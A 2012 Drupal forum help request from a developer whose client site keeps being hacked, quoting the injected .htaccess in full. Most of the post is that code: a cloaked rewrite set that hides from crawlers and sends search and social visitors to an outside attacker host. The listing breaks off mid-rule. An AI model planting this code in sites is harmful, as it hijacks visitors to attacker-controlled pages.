Community
Support » Post installation

Hacked! Client Drupal Site Keeps Getting Hacked, Please Help

Posted by boon4376 on December 18, 2012 at 2:00pm

My client's drupal website keeps getting hacked. The .htaccess files keep getting changed. No modules or core require security updates - some modules require bug / feature updates - however, I would have assumed that only security updates would allow something like this to happen?

Is there a problem with my site? Or is it more likely a problem with their host (Like insecure FTP password storage?).
None of my other client's websites are having this issue - This is the third time this year, the second time this month that this has happened to the site.

If I replace the .htaccess file with the one that comes with the drupal core download, the site begins to function as normal again. With the hacked htaccess file, only the home page loads - no sub-pages will load.

This is a list of the modules being used:
admin_menu, advanced_help, backup migrate, better formats, cck, colorbox,ctools,date,filefield,fontyourface,global redirect, google analytics, imageapi, image cache, image field, imce, imce_wysiwyg, jquery ui, jquery update, libraries, link, node_convert, nodewords, page title, panels, path auto, token, views, views slideshow, webform, wysiwyg, xmlsitemap

Please let me know if you have any insights.

The following is the code that replaces what is normally in the htaccess file:

<IfModule prefork.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(tweet|twit|linkedin|instagram|facebook\.|myspace\.|bebo\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(hi5\.|blogspot\.|friendfeed\.|friendster\.|google\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(lycos\.|metacrawler\.|mail\.|pinterest|instagram).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(imgres).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|macDN|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png|.*jpeg|.*mpg|.*avi|.*zip|.*gz|.*tar|.*ico$ [NC]
RewriteCond %{REMOTE_ADDR}      !^66\.249.*$ [NC]
RewriteCond %{REMOTE_ADDR}      !^74\.125.*$ [NC]
RewriteCond %{HTTP_COOKIE}      !^.*IHq.*$ [NC]
RewriteCond %{HTTP_USER_AGENT}  .*(Windows|Macintosh|iPad|iPhone|iPod|Android).* [NC]
RewriteCond %{HTTPS}            ^off$
RewriteRule .* - [E=IHq:%{TIME_SEC}]
RewriteRule .* - [E=uuL:amirim.wrightdunbar.com]

RewriteCond %{ENV:IHq} 0
RewriteRule ^.* http://%{ENV:uuL}/b?c1=7&c2=8097938&rn=1317458131&c7=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&c3=8097938&c8=ShareThis\%20Segmenter&c9=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cv=2.2&cs=js  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9072:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 1
RewriteRule ^.* http://%{ENV:uuL}/b?c1=2&c2=13911996&ns__t=1340711194179&ns_c=UTF-8&c8=Quick\%20Apply\%20-\%20Indonesia\%20-\%20JobsDB.com&c7=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&c9=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9032:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 2
RewriteRule ^.* http://%{ENV:uuL}/delivery/ajs.php?zoneid=1046&cb=89667012401&charset=UTF-8&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9538:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 3
RewriteRule ^.* http://%{ENV:uuL}/www/delivery/lg.php?bannerid=201&campaignid=5&zoneid=151&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=ceb55b941f  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11953:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 4
RewriteRule ^.* http://%{ENV:uuL}/pview?event=pview&fpc=d96b1f4-137eaa87da1-3bf81330-5523&sessionID=1340714211995.66932&sourceURL=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&hostname=www.mangahere.com&location=/manga/mishounen_produce/v01/c009/15.html&publisher=e47efe7d-147b-4731-ac42-9838ccdc52f2&shareHash=sthash.POxX6Aya&incomingHash=&refDomain=www.mangahere.com&refQuery=manga/mishounen_produce/v01/c009/14.html&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&sharURL=&source=share5x&title=Mishounen\%20Produce\%209\%20-\%20Read\%20Mishounen\%20Produce\%20Chapter\%209\%20Online\%20-\%20Page\%2015&ts1340714211997.0=  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10486:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 5
RewriteRule ^.* http://%{ENV:uuL}/www/delivery/spc.php?zones=7\%7C24\%7C27\%7C34\%7C37\%7C38\%7C43\%7C45\%7C50\%7C71&source=&r=59089946&charset=UTF-8&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9134:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 6
RewriteRule ^.* http://%{ENV:uuL}/delivery/lg.php?bannerid=4274&campaignid=2451&zoneid=769&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=b2f93fd55b  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9968:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 7
RewriteRule ^.* http://%{ENV:uuL}/delivery/lg.php?bannerid=33989&campaignid=3386&zoneid=1660&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=a9d19fba20  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9556:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 8
RewriteRule ^.* http://%{ENV:uuL}/timeseg.gif?url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&uuid=1380e3cc3fa-78902044325ea2ef&proj=timeseg&sup=People&sec=celebrity&ss=photos&tag=&caid=&akv1=3475.peo/Celebrity/Photos/BritneySpears&akv2=tcseg\%3D\%7Cch\%3Dcelebrity\%7Csch\%3Dphotos\%7Cptype\%3Dchannel\%7Cpage\%3D0\%7Cceleb\%3Dbritneyspears\%7Cceleb\%3Dnickiminaj&ct=channel&t=1811&w=1024&h=768&dt=1340268827387&sn=1&title=Britney\%20Spears\%20-\%20Celebrity\%20Central\%20Profile\%2C\%20Britney\%20Spears\%2C\%20Musician\%20Class\%20:\%20People.com&ref=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11906:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 9
RewriteRule ^.* http://%{ENV:uuL}/lg.php?bannerid=2146&campaignid=1029&zoneid=95&loc=1&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=b5ce176100  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10655:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 10
RewriteRule ^.* http://%{ENV:uuL}/avatar/0544fe78bd2e616356855f830fc56686?s=80&d=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&r=G  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9726:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 11
RewriteRule ^.* http://%{ENV:uuL}/1pix.gif?dcsdat=1340357131750&dcssip=&os=Windows\%20XP&lang=en&flashVer=WIN\%2010\%2C1\%2C102\%2C64&dcsref=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&playerURL=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&videoId=1216096166001&dcsuri=/viewer/video_view&sourceId=89804535001&publisherId=89804535001&affiliateId=&playerId=1522730664001&lineupId=1521712908001&playerTag=  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9870:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 12
RewriteRule ^.* http://%{ENV:uuL}/delivery/lg.php?bannerid=35927&campaignid=4402&zoneid=1970&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=94eb58030a  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11943:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 13
RewriteRule ^.* http://%{ENV:uuL}/s?tspne=0&hl=en_US&len=297.067&sd=B6F5EF808MM1340615697672927&vh=288&eurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&tspfdt=804&playback=1&ns=yt&docid=QAr7AB6esCA&fv=WIN\%2011\%2C1\%2C102\%2C55&volume=100&hbt=35.316&h=601&hbd=4539805&sendtmp=1&tpmt=0&nsiabblc=23&cfps=0&screenw=1280&w=735&screenh=800&bd=206802&playerw=735&nsiabblmax=45901.000&playerh=452&bt=2.868&scoville=1&pd=0.586&mos=0&framer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&md=1&el=embedded&rt=4.778&nsivbblmean=63748.217&fexp=919104,921602,912804,913542,907335,922600,919306,919324,907344,907217,912706,919316,910006,920704,924500,902518&ptk=youtube_multi&et=0.067&st=0.067&nsivbblmin=28285.000&plid=AATDSGpiD40pZOfB&rendering=software&nsivbblmax=126721.000&decoding=software&bc=364072&nsiabblmean=20876.565&vw=352&fs=0&nsivbblc=23&iframe=1&vq=auto&vid=shouJpm2vkai-nCW9Ijsbswo8BRIMC6BC&fmt=34&nsiabblmin=10782.000&tsphab=1&uga=m30  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10677:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 14
RewriteRule ^.* http://%{ENV:uuL}/imghover?iact=hm&ei=0aDtT9bLH8LHrQeh8ZG9DQ&q=gunung+es+kompetensi&tbs=&page=1&tbnh=95&tbnw=176&start=0&ndsp=28&dur=4985&tbnid=s4iOjNdaZUWOGM:&hovh=165&hovw=306&vpx=533&vpy=163&imgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&imgrefurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ved=1t:1527,r:2,s:0,i:75&vetl=ms  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9129:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 15
RewriteRule ^.* http://%{ENV:uuL}/imghover?iact=hm&ei=U2_xT97wEsnTrQeJz-m9DQ&q=wallpaper+LUCU&tbs=&page=9&tbnh=119&tbnw=145&start=182&ndsp=25&dur=336&tbnid=n2ZcHWNnmKE5vM:&hovh=119&hovw=145&vpx=444&vpy=274&imgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&imgrefurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ved=1t:1527,r:2,s:182,i:13&vetl=ms  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9172:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 16
RewriteRule ^.* http://%{ENV:uuL}/www/delivery/ajs.php?zoneid=52&cb=827778778&charset=utf-8&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&mmm_fo=1  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11454:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 17
RewriteRule ^.* http://%{ENV:uuL}/pview?event=pview&fpc=d96b1f4-137eaa87da1-3bf81330-3725&sessionID=1340282746376.64291&sourceURL=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&hostname=www.mangahere.com&location=/manga/tsubakikan_no_utsukushisugiru_garcon/c002/10.html&publisher=e47efe7d-147b-4731-ac42-9838ccdc52f2&shareHash=sthash.f5JyWaVd&incomingHash=&refDomain=www.mangahere.com&refQuery=manga/tsubakikan_no_utsukushisugiru_garcon/c002/9.html&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&sharURL=&source=share5x&title=Tsubakikan\%20no\%20Utsukushisugiru\%20Garcon\%202\%20-\%20Read\%20Tsubakikan\%20no\%20Utsukushisugiru\%20Garcon\%20Chapter\%202\%20Online\%20-\%20Page\%2010&ts1340282746378.0=  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9208:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 18
RewriteRule ^.* http://%{ENV:uuL}/imghover?iact=hm&ei=F5P6T57fK8TZrQf0p-TWBg&q=jalan+bolong+karena+kena+tetesan+air&tbs=&page=13&tbnh=142&tbnw=111&start=230&ndsp=20&dur=158&tbnid=0qHJrxaCZTlptM:&hovh=259&hovw=194&vpx=538&vpy=129&imgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&imgrefurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ved=1t:1527,r:7,s:230,i:159&vetl=ms  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10552:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 19
RewriteRule ^.* http://%{ENV:uuL}/__utm.gif?utmwv=5.3.2&utms=162&utmn=1707765489&utmhn=www.yuktravel.com&utmcs=ISO-8859-1&utmsr=1024x600&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=-&utmdt=Yuktravel\%20-\%20Indonesia\%20No.1\%20Online\%20Travel&utmhid=487097610&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/contactus&utmac=UA-24781983-3&utmcc=__utma\%3D156601188.229284525.1340326523.1340326523.1340326523.1\%3B\%2B__utmz\%3D156601188.1340326523.1.1.utmcsr\%3Dweddingku.com\%7Cutmccn\%3D(referral)\%7Cutmcmd\%3Dreferral\%7Cutmcct\%3D/\%3B&utmu=qB~  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9065:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 20
RewriteRule ^.* http://%{ENV:uuL}/webpagethumbnail?r=4&f=3&s=400:585&query=Murator&hl=id&gl=id&c=29&d=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&b=1&j=google.nyc.c.j_veXfT9zAIcHVrQeU2tn4DA_2669438768_2&expi=39505&a=_Tb  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10532:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 21
RewriteRule ^.* http://%{ENV:uuL}/csi?v=3&s=opensocial-gadgets&action=peoplesense_profile&gadget=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&container=peoplesense&view=profile&e=&rt=dl.372,ol.373,prt.373  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9867:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 22
RewriteRule ^.* http://%{ENV:uuL}/www/delivery/spc.php?zones=1\%7C2\%7C11\%7C4\%7C5\%7C6\%7C7\%7C8\%7C9\%7C10&source=&r=46575447&charset=UTF-8&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10953:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 23
RewriteRule ^.* http://%{ENV:uuL}/cmd/neobux?ps_t=1340948973018&ps_l=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ps_r=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ps_s=DhQy1JLLNhVb&un=FransiskaG  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10666:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 24
RewriteRule ^.* http://%{ENV:uuL}/lg.php?bannerid=121&campaignid=68&zoneid=2&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=adc4ac118c  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11874:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 25
RewriteRule ^.* http://%{ENV:uuL}/openx/www/delivery/lg.php?bannerid=3335&campaignid=1069&zoneid=2529&loc=1&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=dd6e645a00  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9663:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 26
RewriteRule ^.* http://%{ENV:uuL}/s?cr=ID&len=854.788&nsivbblmax=504450.000&bt=39.946&ns=yt&sd=BADC23163MH1340178547081970&nsivbblmin=16629.000&docid=1SpI_nioVh8&md=1&csipt=watch5&h=360&feature=relmfu&vtmp=1&volume=58.81661373896419&nsivbblmean=258038.769&hasstoryboard=1&nsivbblc=312&audiofactor=0.588166137389642&hbt=260.287&nsiabblmin=253.000&nsiabblmax=54640.000&sdetail=f:relmfu\%2Crv:WvPmSVNn5us&tpmt=934&w=540&sourceid=yw&nsiabblc=310&fmt=34&screenh=720&nsiabblmean=29628.503&playerw=640&screenw=1280&playerh=390&scoville=1&bd=2041065&cfps=26.455026455026456&plid=AATC4qIBrFI7DOO8&mos=0&fs=0&nbe=2&pd=29.390&hl=en_US&fexp=920704,921602,912804,913542,907335,922600,903114,906510,907217,919306,912706,919316,919324,915101&rt=7293.250&referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&lact=939878&et=768.096,773.368,777.039&st=762.585,769.365,773.963&rendering=software&vw=540&sendtmp=1&nsidf=100&vh=360&vq=auto&vid=tyyZmhZQhpi1re4lfPAwnGOgRj3x4qRnC&hbd=4267433&decoding=software&tsphab=1&tspne=0&tspfdt=188&el=detailpage&bc=92751416  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10369:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 27
RewriteRule ^.* http://%{ENV:uuL}/t.gif?_=1340201763773&count=horizontal&id=twitter-widget-0&lang=en&original_referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&related=:&size=m&text=FDR\%20/\%20Products\%20/\%20Product\%20Details&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&via=wibiya&type=share&twttr_referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&twttr_widget=1&twttr_dnt=1  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11215:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 28
RewriteRule ^.* http://%{ENV:uuL}/pview?event=pview&fpc=d96b1f4-137eaa87da1-3bf81330-2192&sessionID=1340191366756.35393&sourceURL=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&hostname=www.mangahere.com&location=/manga/ai_wo_chodai/v03/c013/6.html&publisher=e47efe7d-147b-4731-ac42-9838ccdc52f2&shareHash=sthash.ma35dgOv&incomingHash=&refDomain=www.mangahere.com&refQuery=manga/ai_wo_chodai/v03/c013/5.html&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&sharURL=&source=share5x&title=Ai\%20Wo\%20Chodai\%2013\%20-\%20Read\%20Ai\%20Wo\%20Chodai\%20Chapter\%2013\%20Online\%20-\%20Page\%206&ts1340191366759.0=  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10034:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 29
RewriteRule ^.* http://%{ENV:uuL}/neo/darla/php/fc.php?trace=folder_inbox&tID=4&d=0&f=978532093&l=SKY\%2CREC\%2CMNW&rn=1340070044939&en=utf-8&mb_s_en=utf-8&filter=no_expandable\%253Bajax_cert_expandable\%253Bexp_iframe_expandable\%253B&ref=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&sa=content\%253D\%2522minty_tenure\%253A\%2520week\%25203+\%2522&  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10433:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 30
RewriteRule ^.* http://%{ENV:uuL}/cmd/huaxiast?ps_t=1264763948012&ps_l=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ps_r=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ps_s=DV0QNkBHhTUJ  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9979:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 31
RewriteRule ^.* http://%{ENV:uuL}/api/getCount2.php?cb=stButtons.processCB&refDomain=www.mangahere.com&refQuery=manga/hapi_mari/v01/c006/7.html&pgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&pubKey=e47efe7d-147b-4731-ac42-9838ccdc52f2&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11451:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 32
RewriteRule ^.* http://%{ENV:uuL}/imghover?iact=hm&ei=AVbsT4fxOMnwrQekm_HMBQ&q=kekasih+cristiano+ronaldo&tbs=&page=3&tbnh=122&tbnw=99&start=42&ndsp=25&dur=1293&tbnid=W_sdLXjKYEtfVM:&hovh=200&hovw=162&vpx=389&vpy=260&imgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&imgrefurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ved=1t:1527,r:14,s:42,i:249&vetl=ms  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10217:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 33
RewriteRule ^.* http://%{ENV:uuL}/pixel;r=1636211389;a=p-f8Bn5MbvAQbXQ;fpan=0;fpa=P0-887346435-1340702891007;ns=0;ce=1;je=0;sr=1024x768x24;enc=n;dst=0;et=1340703121352;tzo=-420;ref=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11125:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 34
RewriteRule ^.* http://%{ENV:uuL}/safe_image.php?d=AQASiIR3ggjP6s-u&w=200&h=200&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&crop  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9775:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 35
RewriteRule ^.* http://%{ENV:uuL}/__utm.gif?utmwv=5.3.2&utms=2&utmn=930664794&utmhn=www.docstoc.com&utmt=event&utme=5(/Docs/Document-Detail-300-B.aspx*2500-4999*endOfPage)(2560)&utmcs=UTF-8&utmsr=1024x768&utmvp=1008x622&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=10.3\%20r181&utmdt=PENYAJIAN\%20LAPORAN\%20KEUANGAN&utmhid=1030645509&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/docs/21048635/PENYAJIAN-LAPORAN-KEUANGAN&utmac=UA-1289929-1&utmcc=__utma\%3D103541653.1697086486.1340866638.1340866638.1340866638.1\%3B\%2B__utmz\%3D103541653.1340866638.1.1.utmcsr\%3Dgoogle\%7Cutmccn\%3D(organic)\%7Cutmcmd\%3Dorganic\%7Cutmctr\%3Dlaporan\%2520ikhtisar\%2520keuangan\%2520indofood\%2520tahun\%25202011\%2520dan\%2520penjelasannya\%3B&utmu=6AC~  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11468:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 36
RewriteRule ^.* http://%{ENV:uuL}/new/www/delivery/ajs.php?zoneid=112&cb=78781070197&charset=UTF-8&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9778:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 37
RewriteRule ^.* http://%{ENV:uuL}/t.gif?_=1340269360448&count=none&id=twitter-widget-0&lang=en&original_referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&related=kaskus:Official\%20Kaskus\%20Account&size=m&text=\%5BCOMMUNITY\%5D\%20\%E2\%96\%91\%E2\%96\%92\%E2\%96\%93\%20\%E2\%97\%99\%20SHARE\%20All\%20About\%20SmartFren\%20\%E2\%97\%99\%20\%E2\%96\%93\%E2\%96\%92\%E2\%96\%91\%20-\%20Part\%205\%20-\%20http\\%3A\\%2F\\%2Fkask.us/14271588\%20\%23kaskus&url=none&type=share&twttr_referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&twttr_widget=1&twttr_hask=1&twttr_li=0&twttr_pid=v3:1340184273998918618993688  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11968:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 38
